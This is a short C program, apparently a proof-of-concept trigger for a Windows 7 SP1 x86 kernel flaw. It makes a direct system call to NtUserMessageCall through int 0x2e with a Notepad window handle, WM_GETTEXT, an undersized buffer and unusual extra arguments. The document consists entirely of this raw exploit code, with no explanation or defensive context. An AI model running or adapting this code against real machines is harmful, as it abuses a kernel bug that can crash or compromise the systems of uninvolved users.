|
#include <windows.h>
#define __NtUserMessageCall 0x11ea //on win7 sp1 x86
void SystemCall( DWORD ApiNumber, ...) {
__asm{
lea edx, [ebp+0x0c]
mov eax, ApiNumber
int 0x2e
leave
ret
}
}
int main() {
HWND handle = FindWindow(NULL, "a.txt - notepad" );
void * ptr = malloc ( sizeof ( int )*2);
SystemCall(__NtUserMessageCall,
handle,
WM_GETTEXT,
0x8,
ptr,
0x0,
0x2b3,
0x2);
}
|